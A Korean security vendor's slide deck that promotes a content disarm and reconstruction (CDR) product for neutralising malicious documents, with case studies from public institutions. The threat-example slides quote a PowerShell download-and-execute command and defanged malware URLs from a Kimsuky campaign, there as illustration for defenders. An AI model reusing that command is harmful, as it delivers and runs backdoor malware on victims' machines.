


Detect & Disarm Unknown Threat

#악성코드분석가 #리버스엔지니어링 #근원적해결방법

“현대인은 전자 문서로 일을 합니다.  문서는 아주 익숙합니다.

그래서 문서로 해킹 공격하면 잘 먹힙니다.”

“최신 악성 문서 기반 해킹공격은 아직 어떤 기업도, 
어떤 국가도 해결하지 못한  중대한 보안 위협입니다.”

악성 문서 분석 전문가 그룹
 “시큐레터”가 바로 이 문제를 해결합니다.

발표자 노트
프레젠테이션 노트




업계 최고 악성파일 탐지율 
(한국인터넷진흥원 성능평가)

제로트러스트 기반 더 
강력한보안 리버스엔진과 

CDR엔진 결합

업계최고
탐지율

악성코드 진단 속도
어셈블리 레벨 진단오진

 및 과탐 최소

진단 속도
12초

선제방어
솔루션

※ MARS PLATFORM :  Core 엔진과 위협방어 진단 대응을 위한 분석 기술이 포함되어 있다.  

M REVERSE
자동화된 리버스 엔지니어링
콘텐츠 취약점 탐지/진단

M CDR
유입된 악성 코드 차단 및 제거 
ZERO TRUST 콘텐츠 무해화

M DICE M AI

M con TI
보안 위협 인텔리전스

머신러닝 기반 
AI 악성여부 판별

M NOM@L
악성코드 전문
위협 리포트

악성코드 분석가의 
Non-PE 위협 분석 데이터 서비스 

File Security 
(MARS SLF)

Email Security 
(MARS SLE)

Threat Intelligence
(MARS TI)

Zero Trust  Security
(MARS SLCDR)

On-Premise  Cloud

콘텐츠 보안 위협 진단 플랫폼 - MARS PLATFORM   

이메일 구간 망연계 구간 문서중앙화 구간 웹 공용(민원) 게시판 구간



[공항 검색대][탐정/경찰/법원]

DETECT vs DISARM

발표자 노트
프레젠테이션 노트
탐지는　악성／정상을　분석하고　판단한다는　뜻입니다．힘들고　시간이　오래　걸리는　작업입니다．반면에　공항　검색대는　판단하지　않습니다．　보안　가이드　충족　여부만　따집니다．



최신 IT보안 트렌드 및 
기존 해킹 방어 
체계의 문제점

발표자 노트
프레젠테이션 노트




문제점 1 - 문서 위협

- 최신 사이버 웨폰(Cyber Weapon) = 문서(Document)
- 현대인의 주 업무

. 컨텐츠(문서) 생산 및 소비

. 커뮤니케이션 (이메일, 메신저)

Document_Open()

( 해커의 설명 문구 )

※ 관련 기술 : Exploit, Macro, DDEAUTO, etc

→ 문서로 공격하면 성공률 매우 높음! 
(예: 이력서/견적서/주문서 등)

최신 보안 동향 (1) 문서 공격의 특수성 및 위험성

발표자 노트
프레젠테이션 노트




※ 문서 위협 사례 
김수키 해킹조직, 코로나 이슈 및 WSF 기반 악성파일…위협 도구로 활용중 -
데일리시큐 (dailysecu.com)

hxxp://www[.]sofa[.]rs/wp-
content/themes/twentynineteen/sass/layout/h1.jpg

C:\WINDOWS\system32\cmd.exe /c powershell (new-object 
System.Net.WebClient).DownloadFile(‘hxxp://www[.]sofa[.]rs/wp-
content/themes/twentynineteen/sass/layout/h1.jpg','%temp%\\sv
chost.exe'); %temp%\\svchost.exe;

backdoor

발표자 노트
프레젠테이션 노트


https://www.dailysecu.com/news/articleView.html?idxno=110564


※ 문서 위협 사례 

hxxp://xxx[.]234[.]xxx[.]47/20090/greatideaoflove.v
bs

hxxps://paste[.]ee/d/LW744

downloader

backdoor

발표자 노트
프레젠테이션 노트




해킹방어
체      계

문제점 2 – 이메일

“기업에 악성코드를 심는 가장 편리한 방법”



드라마 ‘이상한 변호사 우영우’ 15화 - 온라인 쇼핑몰 해킹사건

※ 사례 – 이메일을 통한 악성 문서 공격 

“형 말대로 자소서 다시 썼어! 함 봐줘’ – “자소서.doc”

발표자 노트
프레젠테이션 노트




※ 사례 – 이메일을 통한 해킹 공격 

북 해킹조직 '김수키', 북한전문기자 노렸다…메일 내용 보니 (sbs.co.kr) (2024.03.06)

발표자 노트
프레젠테이션 노트


https://news.sbs.co.kr/news/endPage.do?news_id=N1007562341


일단 타겟이 되면 악성코드가 감염될 수 밖에 없는 구조

[해킹 QA]
상용 보안 솔루션

테스트 환경

공격 대상 기업에 맞춤형 악성코드 제작 (Targeted APT Attack)

문제점 3 - 해킹 고도화

발표자 노트
프레젠테이션 노트




• 때리면 일단 맞는다

• 그 다음에 가드를 올린다.

(최신 악성코드가 출현하면 일단 감염된다.)

(그 다음에 대응이 시작된다.)

※ 샘플수집 – 분석 – 패치 – 배포 

“해커가 주도권을 
 잡고 있는 일방적인 싸움”

공격(해커) vs 방어(IT보안팀) - 주도권 싸움

문제점 3 - 해킹 고도화



좀 더 고도화 할 수 는 없을까?

선탐지(DETECT), 후조치(RESPONSE) 구조의 약점

. IT보안 담당자는 모든 탐지건을 확인/분석/조치 수행 → 많은 업무 부담, 피로도 누적

APT 해킹 공격에는 큰 효과가 없음
. 해커는 이미 방어 무기 체계(상용 IT보안 솔루션)에
대해 잘 알고 있음. 한번이라도 뚫린다면? 침해사고 발생!

수상한 이메일은 일단 의심하라 ?!?!
. 현실적인 어려움 & 업무 효율성 저하
. 사용자, IT보안 담당자 → 피로감 증가

새로운 패러다임 필요!!!

발표자 노트
프레젠테이션 노트




Zero Trust 
보안 철학

발표자 노트
프레젠테이션 노트




Zero Trust

아무것도 믿지 않는다

. 내부 임직원도 안 믿고, (예: 거액에 매수되어 정보 유출하는 산업 스파이 사례)

. 상용 보안 솔루션도 안 믿는다. (예: 2020년, 솔라윈즈 공급망 해킹을 통한 美정부 해킹 사례)

예시

1) 일본 FANUC 社

> 이메일(X), 전화&팩스(O)

> 글로벌 공장(X), 일본 공장(O) ※ 일본인만 고용

2) 미국 Lockheed Martin 社

> 美보안 부서(NSA, DIA, CIA, FBI, DHS)와 긴밀한 관계

최신 보안 철학 트렌드 ※ 2021년 美 NSA, ZeroTrust 가이드라인 발표

발표자 노트
프레젠테이션 노트




근원적 대응 방법 제시

DETECT vs 
DISARM

발표자 노트
프레젠테이션 노트




Zero Trust 

DISARM 

차별화 기술 | DISARM

Zero Trust 보안 철학에 기반한 문서 DISARM 시스템

. 내부 임직원이 만든 문서에도 악성코드가 감염되어 있을 수도 있다.

. 보안 솔루션이 정상이라고 판단한 문서가 사실은 악성 문서일 수도 있다.

[역발상] 디지털 문서를 사이버 해킹이 불가능한 형태로 바꿔버리자! 

. 해킹용 악성 문서에 활용되는 액티브 컨텐츠 제거
예) OLE, ActiveX, Macro, JavaScript, DDE(AUTO), Hyperlink, etc

(ZT 철학 적용 가능) 특정 환경에서 가장 알맞은 보안 솔루션 형태

. “이쪽으로는 안전한 파일만 보내주세요~”

기존 보안 솔루션(ex: AV/Sandbox) 문서 변경 [X]  vs Zero Trust DISARM 문서로 변경 [O]

발표자 노트
프레젠테이션 노트




기술 비교 DETECT DISARM

기본 철학
• 판단에 의존

• ‘악성 파일’은 차단하고, 
• ‘정상 파일’은 통과시킨다.

• 악성 및 정상을 판단하지 않고

• ‘위협 가능 요소’를 모두 제거한다.
※ 예) Macro, Script, ActiveX, etc

대응 방식 • 선탐지(DETECT), 후조치(RESPONSE) • 선조치(DISARM), 후보고(REPORT)

장        점 • 대부분의 환경에서 적용 가능
• ZT 철학 기반의 확실한 방어 대책
• 특수 환경에서 적용 가능

단        점

• ‘판단’이 잘 못 되면 문제 발생
• 악성 미탐 시, 해킹 사고 발생
• 정상 오탐 시, 업무 영향성 발생 및 

후속 조치(RESPONSE) 필요

• ‘제거’가 잘 못 되면 문제 발생
• 문서 레이아웃 변경 및 문서 깨짐 등

• ‘제거’ 자체로 인한 업무 불편 가능 (예: 정상 Macro 등)

적용 추천 구간 • 일반적인 업무 환경
• 웹게시판 구간 (예: 민원처리, 보험신청 등)
• Unknown 이메일 구간 (예: 기자, 인사/영업/구매 등)
• 보안 강화 구간 (예: OT망, DataCenter 등)

차별화 기술 | DISARM

※ 탐정/경찰/법원 ※ 공항 검색대

‘거부권이 없는 상황’

발표자 노트
프레젠테이션 노트




차별화 기술 | DISARM - 문서 레이아웃 유지

<원본> <DISARM><타사 실패사례>

발표자 노트
프레젠테이션 노트




차별화 기술 | DISARM – 문서 안의 문서/객체
<DISARM><타사 실패사례>

발표자 노트
프레젠테이션 노트




차별화 기술 | DISARM – 웹 콘솔 화면

발표자 노트
프레젠테이션 노트




차별화 기술 | DISARM for MS365

<MS365 Marketplace> <DISARM Dashboard>

발표자 노트
프레젠테이션 노트




차별화 기술 | DISARM for MS365
<이메일 예시> <DISARM Dashboard>

발표자 노트
프레젠테이션 노트




민원 웹게시판(파일 업로드) 보안의 새로운 접근

민원인으로 위장한 해커 DISARM 민원 처리 담당자

웹사이트·이메일 접수 문서 파일 악성코드 탐지·차단

(민원인으로 위장한 해커) "부패신고_양식.hwp“
이라는 이름의 악성 문서를 업로드

(내부에 랜섬웨어를 다운받아 실행하는
Script 숨어있음)

악성문서를 깨끗하게 무해화 시킴
(DISARM) 숨겨진 Script 를 무력화 시킴

해커가 민원이 접수 되었으나,해당 악성 문서는 무해
화 되어서 

담당자 PC는 안전함
(민원 처리 담당자) 평상시처럼 문서를 확인 함. 아무런

피해를 입지 않음.

발표자 노트
프레젠테이션 노트
[민원 게시판]민원인으로 가장한 해커가 악성 문서를 업로드하여 민원 처리 담당자를 해킹하는 시나리오1) (민원인으로 위장한 해커) "부패신고_양식.hwp" 이라는 이름의 악성 문서를 업로드 (내부에 랜섬웨어를 다운받아 실행하는 Script 숨어있음)2) (DISARM) 숨겨진 Script 를 무력화 시킴3) (민원 처리 담당자) 평상시처럼 문서를 확인 함. 아무런 피해를 입지 않음.



※ 관공서 민원 게시판 사례   ※ File Upload Security

민원처리 담당자들은 “거부권” 이 없습니다. 안전이 보장된(DISARM) 문서를 제공해야 합니다. 

대통령실

국민제안 민원

국가정보원 

민원 신청

병무청

국민신문고

인천국제공항공사 

온라인민원



사례 – 공공기관 도입 사례 

A 공공기관
도입 사례

웹 게시판의 보안 위협 사전 예방으로 안정적인 서비스 운영

“민원 게시판 보안 위협 선제 차단해 내부 인프라 보호”

배경

의견 

• 민원 게시판에 자료 업로드시 보안 처리 과정 없이 악성코드 공격이 쉽게 노출되는 매우 취약한 환경
• 최근 악성 파일을 의도적으로 업로드한 경우도 있고, 이미 랜섬웨어에 감염되어 본인도 모르게 악성 

문서를 업로드한 사례가 증가하고

기술특징

알려지지 않은 악성코드에 대한 분석·진단율’이 타 보안 솔루션 대비 탁월하고 관리자가 파일을 열어 보기 전에 
문서 내 위협 요소를 빠르고 정확하게 제거해 안전한 게시판 관리가 가능져 만족도가 높다. 

특히 담당자는 “A사 민원서비스는 대국민 서비스이기 때문에 서비스 접속 지연이나 장애에 굉장히 민감하다”며 
“진단 속도가 실시간에 가까워 지연 없이 안정적인 민원 처리해 만족스러웠다”라고 소개했다.

• 게시판에 업로드 된 문서 파일의 악성코드에 선제 대응해 안전한 민원 서비스 운영
• PDF, MS Office, HWP 파일 등 문서, 이미지 등 비실행 파일에 특화된 보안 기술 적용 
• 업무 시스템 저장 전 악성코드 사전 탐지·차단 및 빠른 진단 속도 및 높은 진단율 
• 관리자의 파일 열람 전 문서 내 악성 액티브 콘텐츠 제거 후 재구성(콘텐츠 무해화)
• 용량 제한 없는 파일 검사 진행 
• 기존 샌드박스 기반 솔루션의 취약점 극복



사례 – 금융기관 도입 사례

B 캐피탈
도입 사례

웹 게시판의 보안 위협 사전 예방으로 안정적인 서비스 운영

대출 및 리스 등 업무를 수행 

“금융 서비스 게시판 보안 강화로 업무 만족도 증대”

배경

의견

• 대출 및 리스 등 업무 수행 최근 온라인 서비스 게시판 도입 
• 다양한 보안 위협이 유입될 상황 대비 도입 
• 서비스 신청자가 게시판에 업로드한 파일에 검증되지 않은 문서 및 이미지 등 업로드시 적합한 솔루션 검토

“시큐레터 솔루션은 온라인 서비스로 유입되는 다양한 진단 회피, 우회 공격에도 악성 파일을 빠르고 정확하게 탐지·차단 했다”

며 “관리자가 서비스 게시판의 첨부파일을 열기 전에 선제적으로 악성 문서를 차단하고 문서 내 위험 요소를 제거해주기 때문

에 원활하게 업무를 수행할 수 있었다”

• 백신, 기존 APT 대응 솔루션이 탐지하지 못한 비실행 파일 기반 신종 위협 탐지 

• 업무 파일 열람 전 악성코드 선제 차단 ▲문서 내 악성 URL, 자바스크립트 등 위협요소 제거/재구성 

• 빠른 진단 및 정확한 탐지 ▲대용량 파일 분석 지원 

• 기존 내부 시스템과의 안정적인 연동 등을 꼽았으며 특히, 문서, 이미지 파일을 이용한 고도화된 사이버 공격에 대한 선

제 대응력이 타 솔루션 대비 뛰어나다고 인정

도입이유



Zero Trust CDR 작동 원리

콘텐츠 타입 식별 (구조분석)

액티브 콘텐츠 식별 액티브 콘텐츠 제거 액티브 콘텐츠 재조합

유해 요소(Hyperlink, DDE, Macro, JavaScript, 
OLE Object, ActiveX 등) 제거 

유해 요소 제거 및 문서 레이아웃 유지

재조합 (Reconstruction) 기술 
파일 내부에 숨어있는 악성 행위를 사전에 탐지하고 유해 요소 제거(Disarm) 후 사용할 수 있는 형태로 만드는(Reconstruction) 기술

원본과 같은 콘텐츠로 재구성
콘텐츠(파일)를 분석해서 해당 포맷의 필수적인 정보 외에 다른 정보가 있는지 분석, 다른 정보가 있을 경우 콘텐츠에서 제거하고, 무해한 정
보를 바탕으로 다시 원본과 똑같은 콘텐츠로 재구성

악성 코드 무해화 기술은 자체 개발한 CDR(Content Disarm and Reconstructions, 콘텐츠 무해화)기술로 APT 대응을 위해 강화된 핵심 



DISARM 소개

제로 트러스트 기반
강력한 위협 대응

첨부문서 내 악성 URL, 자바스크립트, 쉘코드 등 액티브 콘텐츠를 
제거해 잠재적 위협 요소까지도 강력하게 대응

독보적인 콘텐츠 샌드박스(위협 인텔리전스 + 디버거 분석 + 콘텐츠 
무해화)를 통해 유입되는 알려지지 않은 보안 위협 정확하고 빠르게 탐
지하고 선제 차단

최신 AI 기반 콘텐츠 위협 인텔리전스 정보를 활용해 지속적으로 
보안 위협에 대응, 전문 위협 분석가의 분석 노하우 분석 가이드 제시

이메일, 망연계 게시판, 클라우드 환경 등 다양한
디지털 환경에 맞춤 화된 보안 솔루션을 제공

알려지지 않은
공격까지 선제 차단
 (자동화된 리버스엔지니어링 무해화기술의 통합)

AI 기반 위협 콘텐츠
인텔리전스(TI) 결합

다양한 솔루션 제공

01. 

02. 

03. 

04. 

"DETECT에서 DISARM으로: 보안 기술의 진화"



최신 기술 및 엔진

Contents Threat Intelligence

CDR
AI기반 콘텐츠 위협 인텔리전스 악성코드 분석가의 Non-PE 위협 분석 데이터 서비스 

리버스 엔지니어링 및 정적 분석 관점에서 악성 문
서 내 매크로, 이미지, 연계 파일, URL 등 

위협 분석 데이터를 상세하게 제공해 수동 분석 없
이도 악성 여부 파악이 가능

콘텐츠 기반 위협분석 서비스로 빠르고 정확하게 콘
텐츠 사이버 위협 정보 제공 

DICE
유입된 악성 코드 차단 및 제거 
ZERO TRUST 콘텐츠 무해화

문서 내 위협 요소를 식별/분석, 제거, 재구성하는 
기술문서에 포함된 URL이나 매크로, 자바스크립
트, Shellcode 등 액티브 콘텐츠를 식별·제거하여 

제로 트러스트를 구현

최신 콘텐츠 보안 위협 선제 대응해 제로 트러스트 기반 업무 환경 구현
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